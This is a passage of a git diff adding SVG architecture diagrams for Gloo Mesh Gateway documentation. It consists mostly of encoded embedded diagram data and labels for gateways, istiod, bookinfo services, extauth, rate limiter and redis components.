FQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg new file mode 100644 index 0000000000..cc2b6a67cf --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVMqybfve39cbqPP6986OVx1MDAwZvdNRSZFRVTU2zdcYmZQJlx1MDAxOUQ4cb77XclcdTAwMWUsqMqimKTobfVcdTAwMGVspchKMtfwWyvX8D9/XHUwMDFkXHUwMDFk/T2c9Kp//5+jv6tcdTAwMWblYqtZ6Vx1MDAxN8d//8f8/b3aXHUwMDFmNLtcdTAwMWR4i8x+XHUwMDFmdEf98uzOxnDYXHUwMDFi/J///u9ir+d8fsopd9s/PlltVdvVznBcdTAwMDD3/l/4/ejof2avrmf1q+VhsVNvVWdcdTAwMWaYvfX5OCn44l+vup3Zo1x1MDAxOdJcXEuu8e9cdTAwMWKag1x1MDAxODxuWK3Au7Via1D9fMf86e9pq1V+aMbq96X286SeL2dTd5Pbz6fWmq1Wbjhp/fhexXJj1HfNaTDsd1+r+WZl2ID38cLff39u0IVcdTAwMTX4/FS/O6o3OtWB+f7o91+7vWK5OZyYcdDnX38sgvu+XHUwMDBm+E1cdMZcdTAwMWONidCKmVf2+13zeUKUcCiiXHUwMDE4XHUwMDExTDWVi/M667a6fTOv/2KaIy4/Z1Yqll/rML1O5fNcdTAwMWVcdTAwMTitVFx1MDAxNZ/3jH9+W0KIg1x1MDAxOVFcXM5ehfrclEa1WW9cZs09XG47v26YvdLPqVRnW4I1Ulxuw7/fb5jn91KVT+KY/VWNy6+N2GXtXHUwMDBl0cdcdTAwMTOVzTyKflv8/fP9/7e48I1iv/dzgf+efVx1MDAxZNdXNL+eL1x1MDAxMqCbXGJdxJErvVckPn5u9586p9c3pDrqXHUwMDE0XHUwMDFlf481R7HFfr87/vv3O//7n6Bx31tF9lFLUn42uKZcdTAwMWaj51x1MDAxM1JIlMON6/nKo16l+IO8sWBKwZJLzJH+/X6r2XmFNzujVusv18xWYznFrCyHgYZcdTAwMTTHQtLQPFx1MDAxNyek/1SOXHUwMDE1ZeHqcaJO38+HhVT263hcdTAwMGWvyXOcOlx1MDAxOLhKMmFe6TzPwV9cdTAwMWMqXHUwMDA1YpwzxTViVqZDStZ4KZjpMCkp5cd0SDnEdTHhw3REONp9MVx1MDAwZtNcdTAwMDHHYSwoVTvjuoH5ZU2uu7+7XHUwMDFijDKlartxU8qPaHY0vjn+2Fx1MDAwMtddXHJOTq+fr3LxSvWCXGZFgeBEu1x1MDAxZmmuc23QXHUwMDAy11x1MDAxMc5cdTAwMDVXmvLQTDesnEx6qv1y3v84T+fKr7XJNItcIs90SiEgZoJcdTAwMDRl8MrFPNNcdTAwMTlFx7VcIkJKiVx1MDAxNCbcynSbaDpMXGKa4yjlw3TKy2VIXHUwMDFh0ShcdTAwMTWJpG57eMueXHUwMDE3842nTCpX71xu9YEmhZfpXHUwMDE2uOxRkHr6vplBqsin5TNCmrhcdTAwMWaLNJdcdGbjMsxcdTAwMDC1IK2lXGbNZuI9XWu8XHUwMDE2X87O+Vx1MDAxOSmWT1tvzYyKOptp0Fx1MDAwNy42XHUwMDEzXHUwMDBieJJiXHUwMDFkks32r9uIlEJLgnbHdHtSbfthXHUwMDBl6VrIXHUwMDA15lx1MDAwMFxypFxiVzi8XG5qVS7Ob+OZu+Nqp9mf3p/HxE1cdTAwMTNHnjc40Vx1MDAwZehaSVx1MDAxMYZXouZ5g1xi5KBwvDG7XHUwMDAyeWPYL3ZcdTAwMDa9Ylx1MDAxZkjJy1x1MDAxZkrLedr3slx1MDAwN1CBI1xcXHUwMDE3X+RcdTAwMGVMlERCXHUwMDEzsTPu2EQlqWx1nHkvXHUwMDE2Plx1MDAxYcNW6WOKSmxwXHUwMDFiUnVcdTAwMDSqpOvTkVx1MDAxOI/x6fRMTotcdTAwMWbJc5o+jie3MO5cdTAwMDbm4X64mWNt42awXHUwMDA2uJRMh9d0qll8LFx1MDAxNdqvt92p6jy8JZR8XHUwMDFkXHUwMDFlR52bXHUwMDE1VzxcdTAwMWHcrOhybsZcdTAwMWX+ZVhRYOL9QcqvXHUwMDA2Z1jaKFx1MDAxNmPEJFx1MDAxMW6aXqqAqtlLfPd6fZtO9cmAXFwk8qnGNPIkq5F0mNVcdTAwMDaimFx1MDAxZlxmOMNcdTAwMWP+SLn+s/xcdTAwMGVcdTAwMDenJlx1MDAwNLNaREBcdTAwMDdcdTAwMTI0XHUwMDA1XHUwMDE24T3syXrj4n2i2PTtZlxcfSrnS/l+f1x1MDAxMH1cdTAwMGY7+aEnNMaaKrVgXHUwMDExXHREXHUwMDFjhqhkoEKkYnZn30Z+XHUwMDA3KdhcdTAwMWNDUS/PUZfi+MlkjFKJXHUwMDE42yGTbYLxLtJcdTAwMTfpp9MzWXj5eH7pZc4mfcHOo8xcZpxcbiszYCwl11KEXHUwMDA3Te9cdTAwMGZx+TS5wtd3V1x1MDAxN723k5SmZHpcdTAwMTZ1XHKkgVx1MDAwZlx1MDAwMkCTXHUwMDAwXHUwMDAzKSRo2kBcdTAwMDNJhJZcdTAwMDEmTLyASUht9Fx1MDAxNWc744Y/ylx1MDAxZiCw/SBIXHUwMDAxXHUwMDE2Q0iuoFx1MDAxYc7jz3Gg/5PUWZyd3j1+PCBy8XBcdTAwMDDcoFx1MDAwMrhBXG7qmFNoplx1MDAxOFx1MDAwNfWwM2bwwV+A0ZD78py2aiExXHUwMDAxOFx1MDAxOU1meOvg12kxPUgm8yX0mG/cpt7Oe1FmXHUwMDA2zq2qXHUwMDAxU4JcdTAwMTXXmIRXXHK4mEyfXsXY9VmlmlwiLzTHemcxXHUwMDBiMyxcdTAwMTD1PCssopFcdTAwMWSyXHUwMDAyQSyAXHUwMDE1KJchTVx1MDAxM4BbVV1cdTAwMGXmhVKVlSolXHUwMDFmmFx1MDAwNCjJQva/WYN7UFx1MDAxMmaII4l3aElvwlxupfNk6q72kutcclxiukueI1l/PT71Z4Vh9WNcdTAwMTjWXHUwMDEykcNmaVCdKpJ+bLZcdTAwMWXbtePqI2VbsHDOXHUwMDBi2TOcYelxt5TBN49DfZH8yG1h3PJ7KSFjndOXuybNqeTk7uXsvLSFcXe0vN/DmoCqwclcdLmenD6o01x1MDAwNi691lx1MDAxZq5cdTAwMGI5vNGezc3iP2G/SMjpjti4Mnm+eWW343g/e90+ezvLdvesdOa+6Jy+sTvDXHUwMDE4MUJcdTAwMTax8OAreP+jXG6+XGJcbjqNoTPwXHUwMDE1RuPUZtf6/lvssih+q1x1MDAxOfY5nZ9qRlxioFx1MDAwM+NB2JuaWYs8P6mg21x1MDAxOeaa01x1MDAxZq6fub/Gi+1mazK3kTO6hSk1O/U+zO7on05cdTAwMWRcdTAwMWU4Lk7cyzyownNmsZrzXHUwMDFmPGk1652Z0IeZV/tz9D9slout3ze0m5WKXHUwMDFikJVhNkVcdTAwMTizn1xug6O6/Wa92Sm27lx1MDAxNib7a6pcdTAwMWLAQW21jYRmmlLFwqPBXuNdx1x1MDAxZY+r73VcdTAwMTa/Lt1M5WlcdTAwMTHTyKNBXHUwMDEywJuM0+iiQa7AelJcbkfTMorTS9F6unuhXHRcdTAwMTWvXHUwMDE13plcdTAwMWN34+1vOLgtOLij5d3RsPihU1x1MDAxNuWHQumlmj9DJ4nsKVx1MDAxYV/9cauw9WGXoUz/XHUwMDA37lx1MDAxMVxyXG5ijVx1MDAwZcXMhNtcdTAwMWJBXHUwMDFiWt9cdTAwMDSvZ3TRYJBjmvGwjukvQoNYc8FcdTAwMDGj/1FosFpcdTAwMWNcZsfVwXBPcHBcdJBahIO/Z7s5XHUwMDFllCrAXFxDXGIzLUj4pIlcbn2qYYJQZnxyeXky7vfuaaK3XHUwMDBlIPzKlFx0yVx1MDAxZOKX/WM+T1x1MDAxMdFcdTAwMGXmVFx1MDAxMUqJoEJZuTNErM228aBcdTAwMDRbm0hEoulcdTAwMWU86bevr9Wzks3a3TDRLVx1MDAxNcrPZ1x1MDAxNk/5N1x1MDAxZVxcfdxcdTAwMWQt72Fccpsvn1x1MDAxNodvJcTvh6lSLIknk2Ls7HtxN1x1MDAxZHZcdTAwMTnM9H/gXHUwMDFlYaai1lxicIywwVWrpEdcdTAwMDSvZ0Rhplx1MDAxMlxuXHUwMDA16TEmXHUwMDAwhP7WY3phXjtGmcSbXHUwMDAywYXGSLD96a59+Fx1MDAxY1x1MDAwN8Nmt+KLLF0hpFtFlktcdTAwMTCZx9H4Y4ZcdTAwMWLgSVdcdTAwMDCYJ1x0lyFcdTAwMTNuQMPHwpbu1OQ0XW6/tU/T6UH5lTZjz7awvIjgSU2wdpRCmlx1MDAxM1xury5v6lx1MDAwZj6kxCGCacpcdTAwMTiVTOqNgrftUXlrXHUwMDAySlx1MDAwMTaqYFx1MDAxNO2NKYPUXFxzcpNghVfRvz2eZqaZ+5R+zr9+XHUwMDAzym1cdTAwMDHKXHUwMDFkLe+Ohn3QWa2ount5fb7s19U4NnpcdTAwMWK/bGFcdTAwMTUyTXTclo2n+5f7q9y7aFx1MDAxZItqo7WFce9QWdaLqH+BXHUwMDFmhvfFRFxmJfBbZ1x1MDAwYuOKk5GeZG5ytXbhg46KMf3WOOFbXHUwMDE4NzHKnuduYlx1MDAwZpfPJ2JSJVx1MDAxZvKleXnxx1HZ1oddhqz9XHUwMDFmuE9kTYLC7Fx1MDAwMUxcdTAwMTKCwlx1MDAxZudcdTAwMDevZ0SRtSaEXHUwMDA1anTpyN9cdTAwMWFdXHUwMDA1XHUwMDE01fhcIlx1MDAwNy7sXHUwMDBiQ0pztbtcdTAwMDTKXGJi60Sr2z3KVFx1MDAwN42jfzrF+tz6fYFcdTAwMDN3XHRQXYTZn5P9MdW1WFNcdTAwMTBroiRcdTAwMTZcblx1MDAwYs31XG6Rnefdt1x1MDAwZlTpdVx1MDAwYqg21o/Zt8SL4qmosyZcdTAwMDazVlx1MDAwMZ7GXHUwMDFhMWle8Vx1MDAxY29cdTAwMTKOqUPB4FAmJY1cdTAwMTNXXHUwMDBlxFwib2IlWDE40DmQN1x09ym44crK+Fx1MDAxNWqjXHUwMDE5xVHNLdtTXHUwMDBlmC/fq7B8X+p2X5udWvdo3O2/wvaUq76M7zpXW43xh92ejevnJr/I4j7zXG7k8lx1MDAxZivqw+ZcdTAwMThxO5/Pin9gXHUwMDEx3qJcdTAwMGXe40ha1MDkXHUwMDFjXHUwMDE5JmeUIS2Eklx1MDAwYkxOiCOlhJtcdTAwMTjlXGK5jqvWYHK7SVxyXHUwMDAyxFx1MDAwMTHCkFRcdTAwMTIkK/ay+49cdTAwMTQjJrlgXGJcdTAwMTMzXHUwMDE1j4XNODCCwHJ/eW+bsehgWOxcdTAwMGZPm51Ks1OH9z6FyK96ialcdTAwMTBFNGZMXVx1MDAxZc1cdTAwMTJcdTAwMWZcdTAwMWRcblunXHUwMDE54phI2FrEqeuuerFnlpU4XHUwMDAyXHUwMDExiUyZQJPlRcjPO36D7L+rnUqISVx1MDAwNSZWuyaFXHUwMDFkoCRCKMdGZVxi8lx0gd1zYlRcdTAwMDD0I7NkXHUwMDE1xahnTq3iYHjWbbebQ1jkm26zM/RdzFx1MDAxM8P3jWrRI1DgO7nfW1x1MDAxNFx1MDAxMD0z4jzVfP7f0SdcdTAwMGLNfvn9///vP753XHUwMDFmW6nbXFxeuv5cdTAwMWPvL/fPlWOFkb2qXHUwMDExgF2FJOHhK7c8Xr5cXE66md6bvuzVcG+SL58nbFx1MDAxNfuiI9pkUDiiXHUwMDEweIt589YqmcxcdTAwMDe7SK/wXHUwMDEyMFx1MDAxM4ap3p17cLfCayN8cVxc68ONwJSDfzqdYrtqh1x1MDAxYWJdXHUwMDFiY1Oo4T/F9TiTXHUwMDA1hIVcYlx1MDAxMMNMr1x1MDAwMDra9dhbspmq3taLnfSgoEbT0sko8pypiIOtnKko22I+sZUzqU9cdTAwMDaxlzNNNTRcbjiI7i4yeJN0+j3lTG6J781+RZvt/Wa4nq2hXV9ike2B5E2y6FxuZauDXHUwMDEzx6PK9lI6UnGuXHUwMDExXHUwMDAyMLpYU0OaXFxSrTXhQkiFXFxcdTAwMTVmtsn2YFwiOKZcbo2JxGTMXHUwMDFkovdbXGKAQcTQrJA48L7ESjOPr1x1MDAwMcOHhYnm3F8hta1cdTAwMWFcdTAwMWKL6Hg54lx1MDAwZi5kMWeGXHUwMDAw2lx1MDAxN1x1MDAxNCuEjH1cdTAwMDGr6oX8mDicSCpcdTAwMThcdTAwMDZ4LMEs0Fx1MDAwN1x1MDAwZfltRDZ714e+Vlx1MDAwNP12h1x1MDAwNkV2h1x1MDAwNlx1MDAwMimj2SpB4cHaJbJSRjhgy8JcdTAwMTfVIFRdNVx1MDAxMH+AXHUwMDBiIVx1MDAxZNhcdTAwMTKkQFx1MDAwZVx1MDAxMaRcdTAwMDM8XHUwMDFh25QyxCdIXHUwMDAwOfB0Uz6GgKxcdTAwMTNcdTAwMTJxTyCPJnBcdTAwMDdcdTAwMDUy+XdcYlx1MDAxOZsoXHSGsHOiXHUwMDA0aYS1kFx1MDAxY1x1MDAxM2qqXHUwMDBiSO2664coMaY2XHUwMDAyvIYlXHUwMDAxOVwikdd5XHUwMDEwSrxcdTAwMDVXJpmfXHUwMDEzXHUwMDAxncWQqTpLXHUwMDExpYJIz6QwduTvWYH6XHUwMDEz/N8l31xinfu8h7BXXHUwMDE0b/ZQRDuE4rBcdTAwMDOA1Fn4gPrjpFTNSem0nZ92x7mkPM3rVs1cItxcInQqQ6VyXHUwMDA0/n3NSzeChYM4qFx1MDAxNVC1XHUwMDE0a7qRvzb4UEaGOpThgiD4VjqaeZV7qlW+mfX0MzFlXHUwMDEwtVNcdTAwMTmfea1cdGJcdTAwMDJMJVx1MDAxMClaSiRxeD5cdTAwMGbe5IiCXHUwMDE4KjgwMthCSius2UKzXHUwMDEx0CRcdTAwMGVDTFx1MDAwMaRcdTAwMTNcdTAwMTKjjY5eXHUwMDAzXFyX1IH3lFx0JVx1MDAwNrwkmE+DXHUwMDFmQVx1MDAxZEaI5lhR4HOferVSclx1MDAwNd9jh/VcdTAwMGZcIlx1MDAwMWGCdclcdTAwMWNcXKBGbcJ6XCJA/1hr4YNcdTAwMTaow2FFXHUwMDAxLVx1MDAxMI2F+DRcdTAwMGZWxDDBXHUwMDFkP+Ymhc1Ri1x1MDAxMJwzSZVcdTAwMTTMe1JkXCJvKfzHXHUwMDE0I2DKXHUwMDExwjyTOihcYmOnbnMt0vWKXHUwMDAwJrhMXHUwMDA0s6NcdTAwMTh4XHUwMDFhU5rI8I6g85R4LN7cNnDh4la3+1x1MDAxN7l+o1x1MDAxYl9Hun1hnVxiJYJcbuhcdC5cdTAwMWPKtlUnYjEwbLMwbi0xplpENIp7Os5cdTAwMWaLdpK38bEqjlx1MDAxYpP4XHUwMDA3x3F/OFx1MDAxM4Uo7kSrdJ1MPaPEVL3lNT7ld5WXty2My1x1MDAxM8OHeqn8XrjN64/hw9W4OkmdbGHcXHUwMDFkLe9cdTAwMWY+7LKwXf9cdTAwMDduXHUwMDA3iFx1MDAwN1xucev5XHUwMDFktqfhKFx09jDDPDw6XHJez4haoVx1MDAxYWR3kFx1MDAwNId31bYk+LKw3aVS3Jsgx1x1MDAwNOJE8j+rKFev362MysNese5vL+4qS25cdEBZtFwi3dPcXHUwMDAwY0mrXHUwMDFinDCwnFx1MDAxOJXhg19epmiSlFx1MDAwZm+5TOH2bsxcdTAwMWbSb6mxLbI+Klx1MDAxMEtcdTAwMDZcdTAwMTZmlVxubY9Bt1xmsTDYPZxcdMqjibHQVWfQ/EhcdTAwMTWP31RdTHLX+XSxYylvuYpa3dGwh1x1MDAwNt36lXSxWalcdTAwMGZ45f063ynWnlLk7GlcdTAwMGLjXHUwMDFl1q5cdTAwMWTKsMugm/9cdTAwMDP3XHTdZEDBbqxcYlx1MDAxNpSF11x1MDAwYsHrXHUwMDE5VegmXHUwMDAzXHUwMDBiqEqttmd8r1HMwNOxzoTGYi722M9xXHUwMDBmWK1SXHUwMDA1XHUwMDA01Vx1MDAxYfjjNDV3+9Zw2lx1MDAxMpSziNN+TXF9jCbsjVWwUEiYSKDwzDhcdTAwMThk4uU4SpZwXHUwMDFiN1x1MDAxMsWz6WUyL1wiXHUwMDBl0pRcYlx1MDAwMmlKi+iCNMWMXHRcdTAwMTXV+li1xqBcdTAwMTCblJ7vLmTuLF25qr5U6GRzXHUwMDA1eljD7lxuS+1ous1J50KQQVwiec9f31x1MDAwNoP+1b1cdTAwMTiL6E73UIZdhtH8XHUwMDFmuEeMJlx1MDAxOFr86ydG08LUuFmhw1DwekZcdTAwMTWjKVx1MDAxMYTRNGZ7xWhcdTAwMWV/XHUwMDFhp1RJyffYY2tcdTAwMGZcdTAwMTitX1x1MDAxYzY7dVx1MDAwYkbbkS9tXHTIWcRov6a4XHRGs59VXG7OTSDGXG4x63l994ifK+l7rWM8dz8ontRt9lJEIFx1MDAxYdxBUaAjXHJHXHUwMDE2o2mtXHUwMDA1pXiHiSubQLQqenyIj1x1MDAxZSr3w7t6r9C7Kz2jXG7ZXFx/XHUwMDFl1rC7Oqnc0XR3XHUwMDA10Vx1MDAwZWvTtj7sMojm/8B9QjRqTzJgUmIqmFxmf1x1MDAwMlx1MDAxYbyeXHUwMDExhWhGMVx1MDAwNDWSl1pHy4+GmULanH39UY60fvW9WVx1MDAxZH+tI21cdMzxgLSfU1xm5MSAhFx1MDAxZnvTIYJcdTAwMTFcdTAwMTFcYkgzfMJP8LnOSrxIvoxcdTAwMTe1RsQx3TY1XHUwMDEyiOPFtEKiXHUwMDFjSThcdTAwMTPIxNWpxWltj1x1MDAxMVx1MDAxNXU4XHUwMDE1XFxyJlx1MDAxNVxc2idcXJZcdTAwMTFHIzBgXHUwMDExXHUwMDE2JufTy6WmKlx1MDAwMWV0h1xyXCJcIlx1MDAxMS5cdTAwMWJcdTAwMWNcdTAwMTNw9Fx1MDAxOZlqcuU4RlxmIbD7hSBcbn06jY9cXPGyXHUwMDE0tI6mmJvyy0J5s2tCxctcdTAwMDZ7wOdnRTHGhHFTXHUwMDAxXHUwMDFiK7CCvDmN2lSMZlhcYkUok2C0eyZ1UPGyVuo2l4euP4f7y/1zdfHG7Cd2XFwxLDVaoURiMNyOrHRT0mGYIaqFoMgj3bRjSrAxYVxuyEhqr5C4qXiT2shYKkGpIIXcXHUwMDE1XHUwMDEwP9N/pCNcdTAwMDFjSMLULP1uUbpRYt5ROyxMfljSXHLEiJKmXHUwMDFjklagtpTU1CdcdTAwMTmAOWDFS2A6oakw+Vx1MDAxZetcdLdgVDI/KdM+ylTdNFm02FfiMlx1MDAwN0lTkVx1MDAxM5ZOY8zpYZdospK2uVx1MDAxNol6RdG2JEzN2luBaDBcdTAwMWQ4VeHtqDd8M85wVnm47t/ma/S824rFbFx1MDAwNd0jY0cpWPSAUjCC4pBmVJhsbUxKwEY+olxyIUe7L69ow8Sb28S5XHUwMDA2tmU7LDi3iYMtuELIXHUwMDFjja7krMG41auNbscod5lcdTAwMWFcdTAwMGba0/xHa2ip2/xlXHKTg33Y3H6gpIniXG5cdFx1MDAxYZ7LaPUhfZ1VlWK33p1cZl5GZY1L6lx1MDAwMLhcZlx1MDAwN3BcdTAwMTlcYvuQXuxccrnMy1cgcG2u7d+OXHUwMDBiwPUmiXx/JZeD2GFPXHUwMDA1mDbQOSqgn4/WXFwzuUJcdTAwMTJ9TSdcdTAwMTF5XHUwMDE59FONUe5VkNZFXCIvXCLeplhpXHUwMDFkVH1McLXFNsVbXHUwMDBlu1x1MDAxMZjCvVwiomE3z6hQp29nZ6+9Jsk/pXNCjY4tbTmiXHUwMDEwxPxxkzvps0Y92385vWHJRLJDayFrMlx1MDAwN447adTOmv1q5Vx1MDAxMZ8odtsjx6hK9Vx1MDAxNsbd0fLuaNina9FKJJ5cbnJ02Vx1MDAxZFxcP92rwlu9/8etwtaHXXZY5P/AL1A61pjrXHUwMDAw+EUpXHUwMDA2jUNV+DDP4PWMKvzSWlx1MDAwNmlcdTAwMWMpQta73E+6XHUwMDFj1lx1MDAwMJLN9P6o+J595cstQVS7yZdcdTAwMTOuXHUwMDEzXHUwMDA3b9k4pZBcIjg8k550XHUwMDFlXHUwMDBip4P4jVT3w7S4u1x1MDAxMlx1MDAxZtWCLeguKqBcdTAwMTAoKchCUnR7LLptUIiBM6UpPlx1MDAxNklQ2GD4+SZ/WitNL0R1ev+QJ6/Hlu5cXKso1lx1MDAxZFxye2hY862PT/O1glwiXV6rXvbvaqJcdTAwMTnfRpfew9q1P3zYZZjQ/4F7xITCXkKBMsFcdTAwMTnHK9T3XG5ezqhCQkVpUFx0dIS254TYSvhcdTAwMTBcIqBklDu64lx1MDAwZsCA+8jDW1x1MDAwMp52kIcn7fVMKNFAn5SvUI8q3iXVt15tUiVcdTAwMTe1fLVWYMlixIslKK2CsFx1MDAxZlhv0cV+ICmYqcZcdTAwMTLNIO/hyXBcdTAwMThcdTAwMWaT21Tr9OxcdTAwMDK9aaFcdTAwMWWKXHUwMDE2XHUwMDFm0CpcbvSwht1cdTAwMTVEO6xV+MOHXVx1MDAwNtH8XHUwMDFmuE+IJu1dajBBWmOGw8eVXHUwMDA2r2dUMZrWQVx1MDAxOE1jsVeM5vHTmeBcdTAwMTVEyS474EVcdTAwMTCj7SNcdTAwMGZvXHTI2UFcdTAwMWWesHMjoZiAvbRcdTAwMDJGq1x1MDAxNK6mw1Q6k4ili6OnXHUwMDA3+TagXVtcdTAwMWNkRDCaNq7rIP9cXNiWUXvAaFLB/LiIaFx1MDAwMEMj+f7U68dGXHUwMDAzdnmlxeV7PHH5YfFMreTkOKhhd3Vke1irsDNn4kGtwtaHXeqe833gXrGf/TRIUyy4JOGVTfByRlx1MDAxNPqButGB7jn8dSe2YaCfpFRoLMV3ct+Okd9cdTAwMTLotOXkPm7v5kWQXHUwMDE0XGJcdTAwMTFGwjvKg8+gopr+glxidyg1VZWxSfJaXHUwMDA0flx1MDAxNDlafk12XHUwMDFmJYpyzlx1MDAxMWbUXbssfHZcdTAwMWZcdTAwMDZuIIjRPfZcdTAwMTL9klx1MDAwNJjgXHUwMDEwhqP59D4mTVZcdTAwMWZAZCmwQrvL7lx1MDAwYvarXHUwMDFm2bP7YNe8s/r3Zff5U7e5dpfdx7U1NoxTgUzuUXigXHUwMDExjOGjKt4wRlx1MDAwZVx1MDAxN4qZtjCK0oVGP5JcdTAwMTKH0C9K76OmXHUwMDAxXGZAXHUwMDFiXHRcdTAwMTQgffqiLkvvw/BcdTAwMTZcdTAwMTF6h3EohyXdTK9cdTAwMWZQS4RiRpSirt072nZ2XzAsObJm95FPjXn0703u8ydsc22Y3GeXbEJbTSgwKkzWXHUwMDE4WaFccmugXVx1MDAxZVnJprAjjVDDSlx1MDAwMPF/ft1cdTAwMWYmXHUwMDE0N4WGYWc0x5TsUrBcdTAwMTly1qa7NmOEcOlnT1x1MDAwMVx1MDAxNXBcZpxqWl9cdOJt9yyBbJiQ+l9eliG0XHUwMDE0XHUwMDAxiMRcdTAwMTDjglx1MDAwYqKJ4KCmkU/HMFx1MDAwZeCOXHUwMDFitcXATFx1MDAwMfTm7Vx1MDAxOFx1MDAxNrJcdTAwMTVrkLN9YVbAyVxmc1x1MDAwMkSDwTBX3klRXHUwMDA3rCZhMmtcdTAwMDHjXHSCXHUwMDBlvFx1MDAxM6uVus3loetcdTAwMTXFW+CRhCT2uH5cdTAwMDQ4kmFA66FF3OCD4otasXyH5aieXHUwMDE04/fy9enYXCLiXCJyJKE00Vx1MDAwZUgwXHUwMDBlXHUwMDFiYF4/RetMwFx1MDAwMZ7eYlx1MDAxZZm10fRaR1x1MDAxMlx1MDAxMiwuUEBcdTAwMTFNI1NcdTAwMWb1/ohcdTAwMWOXUPclrd6uk+9vvZeb6Ib2nlx1MDAxN7JnOMPS424pg29cdTAwMWWH+lwi+WFJ8Vlp3PJ7KSFjndOXuybNqeTk7uXsvLSFcXe0vDtcdTAwMWH24S17Xsw3njKpXFy9K9RcdTAwMDeaXHUwMDE0XqZ/3CokUlx1MDAxZq8nonp5UaFDPm5mXHUwMDFmmqKxjfOprU932VmH/1x1MDAwM0POdsTGlcnzzSu7XHUwMDFkx/vZ6/bZ21m2u4VVkOJVpd9cdTAwMWVy97qY11x1MDAwZk8yXHUwMDE2f2knw43rkYW7Pptx+1x1MDAwMFx1MDAxNkOnQaJjJGR4rVx1MDAxYrz9XHUwMDExPZtRmrIgvcvCZtMtXHUwMDFl8+/obFx1MDAwNsCx1myfLdD3cDZcdTAwMDM/iiNYJdfibn42XHUwMDEz0Jl8XHUwMDE5gFxcPJj5Nb9ccvAvt1x1MDAxNl5kXGbsXHUwMDFlvVx1MDAwMvptvYtEv3g6jSXv8qnq3Xms3eBrtSj/SvRLkcOZXHUwMDE0WCPzunAuw+RcdTAwMTZcdTAwMTNcdTAwMTi2jH6VoGAw7bOlUJAywrjQbNKrmEjIkrzMXHUwMDE30499XHUwMDFl4VwiXG6Hhn53tLzfw1x1MDAxZdyw28fUy8Cv/1x1MDAxN9kjmFTYfv5cdTAwMDZcbowxkOOhlVjwNkVcdTAwMTdM8iA1plS0wCRcdTAwMTaEY6LUn5WH14fHXHUwMDFjtZrt5lx1MDAxYz78gnCfJcDMJ9D7c55cdTAwMWJAy4CuK1xuuJJrvkKbysFD5S3BT96PYzf9RoZJenJ5dVx1MDAxYnVwSVSAice2mVx1MDAxZLtlcGlcdTAwMGVcdTAwMTVcdTAwMTQy/1wiiS5lM3Z1cf/2+iDes1x1MDAxN+ru4rRSXHUwMDE4nX6jy22hy10t7/ewf/ywy8Cl/1x1MDAwM/dcYi6ltuYsMcqYJkKEj11ccl7O6IJLXHUwMDFhpMZwxMClklSbfsv7S1TaS1x1MDAxNHml+cVd/IJcdTAwMDGZN4bcTHB9NKloQMFXiVx1MDAxMNFcdTAwMTSFR5P4PNNJ3GRO4iep+k1HjoaPqLxWfYev7NWEpXaI0Iph87pcdT